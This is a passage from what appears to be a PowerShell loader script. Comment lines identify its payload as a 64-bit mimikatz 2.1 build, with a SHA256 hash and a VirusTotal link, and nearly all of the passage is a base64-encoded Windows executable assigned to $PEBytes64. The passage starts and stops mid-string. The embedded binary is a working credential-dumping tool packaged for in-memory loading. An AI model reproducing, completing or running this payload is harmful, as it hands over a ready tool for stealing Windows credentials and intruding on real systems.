AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + # 2.1 (x64) 20161029 OJ Edition! + # SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158 + # VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/ + $PEBytes64 = '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